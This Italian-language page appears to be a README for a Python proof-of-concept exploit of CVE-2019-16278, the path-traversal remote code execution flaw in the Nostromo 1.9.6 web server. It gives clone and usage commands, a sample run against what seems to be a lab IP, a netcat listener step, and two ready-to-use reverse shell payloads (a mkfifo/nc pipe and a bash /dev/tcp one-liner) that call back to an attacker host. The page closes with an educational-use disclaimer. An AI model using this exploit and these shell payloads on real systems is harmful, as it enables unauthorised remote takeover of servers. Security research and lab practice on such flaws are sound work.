
Un attaccante non autenticato può forzare il server a puntare a un file di shell come ‘/bin/sh’ ed eseguire comandi arbitrari a causa della mancata verifica dell'URL, che porta a un path traversal verso qualsiasi file presente nel sistema. Versioni di Nostromo come la 1.9.6 non verificano questo URL.
POC
Repository: https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
Questo repository contiene un exploit in Python per CVE-2019-16278, una vulnerabilità in Nostromo 1.9.6 (un server web). La vulnerabilità consente l'esecuzione remota di codice (RCE) sfruttando il directory traversal per eseguire comandi arbitrari sul sistema target.
git clone https://github.com/CybermonkX/CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution.git
cd CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution
python3 CVE-2019-16278.py -t <TARGET_IP> -p <PORT> -c "<COMMAND>" [-b <BYTES_TO_READ>]
Argomenti:
| Argomento | Descrizione | Obbligatorio | Default |
|---|---|---|---|
| -t, --target | L'indirizzo IP del target | Sì | Nessuno |
| -p, --port | La porta del target | Sì | Nessuno |
| -c, --command | Il comando da eseguire sul server | Sì | Nessuno |
| -b, --bytes | Numero di byte da leggere nella risposta | No | 4096 |
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "whoami"
Step 1: Avviare un listener Netcat sulla macchina dell'attaccante:
nc -lvnp 443
Step 2: Eseguire l'exploit con un payload di reverse shell:
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.5 443 > /tmp/f"
python3 CVE-2019-16278.py -t 10.10.10.165 -p 80 -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"
Questo strumento è destinato esclusivamente a scopi educativi. Non utilizzarlo su sistemi che non possiedi o per i quali non hai esplicita autorizzazione a testare. L'accesso non autorizzato ai sistemi è illegale. Usalo in modo responsabile.